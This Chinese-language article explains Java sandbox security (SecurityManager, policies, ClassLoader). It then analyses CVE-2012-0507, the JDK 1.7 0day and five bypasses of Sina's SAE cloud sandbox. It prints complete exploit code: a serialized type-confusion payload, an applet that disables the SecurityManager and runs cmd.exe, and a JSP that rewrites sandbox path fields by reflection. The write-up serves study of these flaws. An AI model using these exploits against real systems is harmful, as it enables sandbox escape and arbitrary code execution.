JAVA沙箱安全总结
1.概述 本文介绍了JAVA虚拟机一些安全基础,第四节介绍了两个非常著名的JAVA 0day,分析了cve-2012-0507 漏洞原理和jdk1.70day漏洞,这两个漏洞被广泛应用于浏览器挂马。第五节介绍了java大牛lxlzx对新浪云平台SAE的五次绕过。Java从JDK 1.0开始实现了一套沙箱环境,主要应用于Applet,使远程的非可信代码只能在受限的环境下执行。Java沙箱 安
1.概述
本文介绍了JAVA虚拟机一些安全基础,第四节介绍了两个非常著名的JAVA 0day,分析了cve-2012-0507 漏洞原理和jdk1.70day漏洞,这两个漏洞被广泛应用于浏览器挂马。第五节介绍了java大牛lxlzx对新浪云平台SAE的五次绕过。
Java从JDK 1.0开始实现了一套沙箱环境,主要应用于Applet,使远程的非可信代码只能在受限的环境下执行。Java沙箱 安全建立在 Java 运行时环境的三个基本方面的基础上:ByteCode Verifier(字节码验证器)、Security Manager(安全管理器)以及 ClassLoader(类装入器)。
ByteCode Verifier 确保所下载的代码被恰当地格式化,字节码(“Java 虚拟机”指令)没有违反这种语言或虚拟机的安全限制(无非法数据转换),没有执行指针寻址,内部堆栈不能溢出或下溢,以及字节码指令将拥有正确的类型参数。
Security Manager 在尝试执行文件 I/O 和网络 I/O、创建新的ClassLoader、操作线程或线程组、启动底层平台(操作系统)上的进程、终止“Java 虚拟机”、将非 Java 库(本机代码)装入到 JVM、完成某种类型的窗口系统操作以及将某种类型的类装入到 JVM 中时发起运行时访问控制。
Java程序(class文件)并不是本地的可执行程序。当运行Java程序时,首先运行JVM(Java虚拟机),然后再把Java class加载到JVM里头运行,负责加载Java class的这部分就叫做Class Loader。当运行一个程序的时候,JVM启动,运行bootstrapclassloader,该ClassLoader加载java核心API(ExtClassLoader和AppClassLoader也在此时被加载),然后调用ExtClassLoader加载扩展API,最后AppClassLoader加载CLASSPATH目录下定义的Class,这就是一个程序最基本的加载流程。
2. SecurityManager
安全管理器为JAVA沙箱安全最核心的部分,SecurityManager类包含了大量访问控制的方法。开启安全管理器意味着程序将在沙箱环境下运行,命令行下运行java程序可通过如下选项来启动安全管理器。
java -Djava.security.manager classname |
2.1 Policy
策略是指某些代码对某些资源具有某些操作权限,策略放在策略文件中,策略文件包含了将代码来源映射为权限的指令。下面是一个典型的策略文件:
grant codeBase “http://lanz.sinaapp.com” { permission java.io.FilePermission “/tmp/*”, “read,write”; }; |
该文件给所有下载自http://lanz.sinaapp.com的代码授予在/tmp目录下读取和写入文件的权限。
默认情况下,有两个位置可以安装策略文件:
- Java平台主目录的java.policy文件
- 用户主目录的.java.policy文件(注意文件名前面的圆点)。
2.2 permission
Permission类表示对系统资源的访问权限。如下述代码Permission 实例perm表示对tmp目录下的可读权限。
Permisson perm=new java.io.FilePermission(“/tmp/”,”read”); |
2.3 PermissionCollection
PermissionCollection表示一个Permission的集合
2.4 Permissions
Permissions是 PermissionCollection的扩展,表示PermissionCollection的集合。
2.5 ProtectionDomain
ProtectionDomain 称之为安全域,相当于动态的policy策略集
(dynamic security policies , regardless of the Policy in force )
2.6 AccessController
权限控制器有3个用途:
- 基于当前生效的安全策略决定是允许还是拒绝对关键系统资源的访问
- 可以将调用方标记为享有“特权”(请参阅 doPrivileged 及下文)。在做访问控制决定时,如果遇到通过调用不带上下文参数的 doPrivileged 调用方,则 checkPermission 方法将停止检查
- 有时,本来应该在给定上下文中进行的安全性检查实际需要在另一个 上下文中(例如,在 worker 线程中)完成。getContext 方法和 AccessControlContext 类是针对这种情况提供的。
2.7 AccessControlContext
AccessControlContext为上下文权限控制器,含成员变量ProtectionDomain,其主要操作为checkPermission()函数。
2.8 提权代码
Permissioins perm = new Permissions(); perm.add(new AllPermission()); ProtectionDomain pdomain = new ProtectionDomain(new CodeSource(new URL(“file:///”), new Certificate[0]), perm);
AccessControlContext acc = new AccessControlContext(new ProtectionDomain[] { pDomain }); |
3 ClassLoader
Java程序(class文件)并不是本地的可执行程序。当运行Java程序时,首先运行JVM(Java虚拟机),然后再把Java class加载到JVM里头运行,负责加载Java class的这部分就叫做Class Loader。
每个Java程序至少拥有三个类加载器:
- Bootstrap ClassLoader 引导类加载器
- Extension ClassLoader 扩展类加载器
- App ClassLoader 应用类加载器
引导类加载器负责加载系统类(通常从JAR文件rt.jar中进行加载)。它是虚拟机整体中的一部分,而且通常是用C语言来实现的。引导类加载器没有对应的ClassLoader对象。
扩展类加载器用于从jre/lib/ext目录加载”标准的扩展”。可以将JAR文件放入该目录,这样即使没有任何类路径,扩展类加载器也可以找到其中的各个类。(有些人推荐使用该机制来避免”可恶的类路径”,不过请看看下面提到的警告事项。)
应用类加载器用于加载应用类。它在由CLASSPATH环境变量或者-classpath命令行选项设置的类路径中的目录里或者是JAR/ZIP文件里查找这些类。
每个线程都有一个对类加载器的引用,称为上下文类加载器。主线程的上下文类加载器是应用类加载器。当新线程创建时,它的上下文类加载器会被设置成为创建线程的上下文类加载器。因此,如果你不做任何特殊的操作,那么所有线程就都将它们的上下文类加载器设置为应用类加载器。
但是,我们也可以通过下面的调用将其设置成为任何类加载器
Thread t = Thread.currentThread(); t.setContextClassLoader(loader); |
然后助手方法可以获取这个上下文类加载器:
Thread t = Thread.currentThread(); ClassLoader loader = t.getContextClassLoader(); Class cl = loader.loadClass(className); |
如果要编写自己的类加载器,只需要继承ClassLoader类,然后覆盖下面这个方法
findClass(String className) |
ClassLoader超类的loadClass方法用于将类的加载操作委托给其父类加载器去进行,只有当该类尚未加载并且父类加载器也无法加载该类时,才调用findClass方法。这种方法也称之为双亲代理模式,可以保证系统类被上层的加载器加载而不至引起混乱。
ClassLoader 中与加载类几个重要的方法:
- getParent() 返回该类加载器的父类加载器。
- loadClass(String name) 加载名称为 name 的类,返回的结果是 java.lang.Class 类的实例。
- findClass(String name) 查找名称为 name 的类,返回的结果是 java.lang.Class 类的实例。
- findLoadedClass(String name) 查找名称为 name 的已经被加载过的类,返回的结果是 java.lang.Class 类的实例。
- defineClass(String name, byte[] b, int off, int len) 把字节数组 b 中的内容转换成 Java 类。
protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { // 首先检查该name指定的class是否有被加载 Class c = findLoadedClass(name); if (c == null) { try { if (parent != null) { //如果parent不为null,则调用parent的loadClass进行加载 c = parent.loadClass(name, false); } else { //parent为null,则调用BootstrapClassLoader进行加载 c = findBootstrapClass0(name); } } catch (ClassNotFoundException e) { //如果仍然无法加载成功,则调用自身的findClass进行加载 c = findClass(name); } } if (resolve) { resolveClass(c); } return c; } |
在JVM加载类的时候,需要经过三个步骤,装载、链接、初始化。装载就是找到相应的class文件,读入JVM,初始化就不用说了,最主要就说说连接。
连接分三步,第一步是验证class是否符合规格,第二步是准备,就是为类变量分配内存同时设置默认初始值,第三步就是解释,而这步就是可选的,根据上面loadClass方法的第二个参数来判定是否需要解释,所谓的解释根据《深入JVM》这本书的定义就是根据类中的符号引用查找相应的实体,再把符号引用替换成一个直接引用的过程。
通过loadClass加载类实际上就是加载的时候并不对该类进行解释,因此也不会初始化该类。而Class类的forName方法则是相反,使用forName加载的时候就会将Class进行解释和初始化
4.SE沙箱绕过
4.1 cve-2012-0507
其核心代码如下:
String[] arrayOfString = { “ACED0005757200135B4C6A6176612E6C616E672E4F62″, “6A6563743B90CE589F1073296C020000787000000002″, “757200095B4C612E48656C703BFE2C941188B6E5FF02″, “000078700000000170737200306A6176612E7574696C”, “2E636F6E63757272656E742E61746F6D69632E41746F”, “6D69635265666572656E63654172726179A9D2DEA1BE”, “65600C0200015B000561727261797400135B4C6A6176″, “612F6C616E672F4F626A6563743B787071007E0003″ };
StringBuilder localStringBuilder = new StringBuilder(); for (int i = 0; i < arrayOfString.length; i++) { localStringBuilder.append(arrayOfString[i]); } ObjectInputStream localObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(localStringBuilder.toString()))); Object[] arrayOfObject = (Object[])(Object[])localObjectInputStream.readObject(); Help[] arrayOfHelp = (Help[])(Help[])arrayOfObject[0]; AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1]; ClassLoader localClassLoader = getClass().getClassLoader(); localAtomicReferenceArray.set(0, localClassLoader); Help.doWork(arrayOfHelp[0]); |
代码中先将arrayOfString 化成了arrayOfObject,其内容如下所示:
可以看到,这里有两个Object,一个是Help类,一个是AtomicReferenceArray。所以才有了下面的类型转换,而且只能转换成Help类和AtomicReferenceArray类,Help类为自定义classloader,稍后会讲到。
Help[] arrayOfHelp = (Help[])(Help[])arrayOfObject[0]; AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1]; |
其中AtomicReferenceArray已经指向了arrayOfObject[0],所以当set时,改变的是arrayOfObject[0]。
ClassLoader localClassLoader = getClass().getClassLoader(); localAtomicReferenceArray.set(0, localClassLoader); |
此时,在JVM看来arrayOfObject[0]是Help类,但实际内容却为localClassLoader,即高权限的ClassLoader,即所谓的类混淆。
将此classloader传入Help函数中
Help.doWork(arrayOfHelp[0]); |
Help函数调用了所传入参数的defineclass函数来自定义高权限的类。注意defineclass在classloader中属于私有函数,而在自定义的classloader函数Help中却定义为公有函数。这样,在JVM看来,这里调用的defineclass是Help类的公有的defineclass,而实际执行的确实原classloader的私有的defineclass。所谓类混淆漏洞利用的极致正在于此。
4.2 JDK1.7 0day
其POC代码为:
package cve2012_java_0day;
import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate;
public class Gondvv extends Applet {
public Gondvv() { }
public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, “setSecurityManager”, new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(“file:///”), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, “acc”, localStatement, localAccessControlContext); localStatement.execute(); }
private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, “forName”, arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); }
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass(“sun.awt.SunToolkit”), “getField”, arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); }
public void init() { try { disableSecurity(); Process localProcess = null; String command=”cmd.exe /c lanz.exe”; localProcess = Runtime.getRuntime().exec(command); //C:\\Users\\hp\\workspace\\cve2012_java_0day\\src\\cve2012_java_0day\\calc.exe //calc.exe if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } }
public void paint(Graphics paramGraphics) { paramGraphics.drawString(“Loading”, 50, 25); } } |
能够成功利用在于在jdk1.7中可以通过GetClass获取到sun.awt.SunToolkit这个类,这个类中有个getField函数,是public的,且更为致命的是该getField函数中,有doPrivilege()操作,可以绕过安全检查。代码如下所示:
public static Field getField(final Class klass, final String fieldName) { return AccessController.doPrivileged(new PrivilegedAction<Field>() { public Field run() { try { Field field = klass.getDeclaredField(fieldName); assert (field != null); field.setAccessible(true); return field; } catch (SecurityException e) { assert false; } catch (NoSuchFieldException e) { assert false; } return null; }//run }); } |
所以POC中最关键的代码就是这几句了:
Expression localExpression = new Expression(GetClass(“sun.awt.SunToolkit”), “getField”, arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); |
首先,通过Expression的执行,得到Statement.class的 acc字段。其中,acc为Statement.class的私有成员,是AccessControlContext类型。
其次,通过反射的set函数将acc字段设置为高权限的AccessControlContext。如何得到高权限AccessControlContext已经很熟悉了。
Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(“file:///”), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {localProtectionDomain}); |
最后,通过赋予高权限的statement的执行,将setSecurityManager设为了空,完美地绕过了沙箱。
5. SAE沙箱绕过
kxlzx连续 5次的SAE沙箱绕过,分别利用的原理如下:
5.1 CVE-2012-0507
第一次绕过完全利用了CVE-2012-0507 ,略
5.2 createClassLoader
通过一个简单的测试可知,在默认沙箱环境下,是禁止调用createClassLoader的
但是,SAE可能是为了支持spring,开放了createClassLoader的权限,导致漏洞产生
1、新建一个ProtectionDomain,加入allPermissions权限,这就是所有权限都有了。
2、把这个ProtectionDomain赋予ExpPermissions2这个类。
3、新建一个类,叫做Mypolicy,这个类继承policy,用于加权限。
5.3 createClassLoader
在上一个漏洞中,SAE采取的修复方案:SAE禁用了runtime.exec函数,这等于没有修复
绕过1: 可以读取文件
绕过2:用C语言写了一个动态库,用来执行命令
System.load(“/root/javaso/libLoadlab.so”); |
5.4 SaeSecurityManager
SAE的JAVA环境中,有个Class,叫做”com.sina.sae.security.SaeSecurity”,这个Class,像是做验证的,里面有方法“checkRead”。
这让作者想起了文件下载漏洞。绕过任意文件下载漏洞,有无数前辈的经验,最常见的思路,当然是“/../”了。
一次成功!
5.5 反射修改属性
POC如下:
<%@page import=”java.io.*,java.net.*,java.lang.reflect.*”%> <% SecurityManager security = System.getSecurityManager(); //ClassLoader cl = Thread.currentThread().getContextClassLoader(); try { Class c = System.getSecurityManager().getClass(); %><%=c.toString()%><% Field[] f=c.getDeclaredFields(); for(int i=0;i <f.length;i++) { f[i].setAccessible(true); %><%=f[i].getType()+”|”+f[i].getName()%><br><% try{ f[i].set(System.getSecurityManager(),new String[]{“/”}); }catch (Exception e) { %><%=e%><% } } %><%=”———————————-”%><br><% for(int i=0;i <f.length;i++) { %><%=f[i].getType()+”|”+f[i].getName()%><br><%; } } catch (Exception e) { %><%=e%><% } %> <%=security.toString()%> |
通过getDeclaredFields()获取当前SecurityManager()的成员变量。如下所示,rwPath、readPath等是成员名称,类型是String。从字面意思猜测,rwPath为可读写目录,readPath为只读目录等。
通过反射作者强行修改了它们的值,想要把他们设为new String[]{“/”});即linux根目录,这样就可以读写所有目录和文件了。
本来通过SET只可以修改public的变量,但恰好SAE沙盒允许“suppressAccessChecks”权限,则可通过setAccessible(true)来修改private的变量
参考
- http://docs.oracle.com/javase/6/docs/technotes/guides/security/spec/security-spec.doc1.html
- 《JAVA核心技术卷II》
- http://www.personal.kent.edu/~hli4/tech/javasecurity.htm
- http://www.inbreak.net
更多推荐
所有评论(0)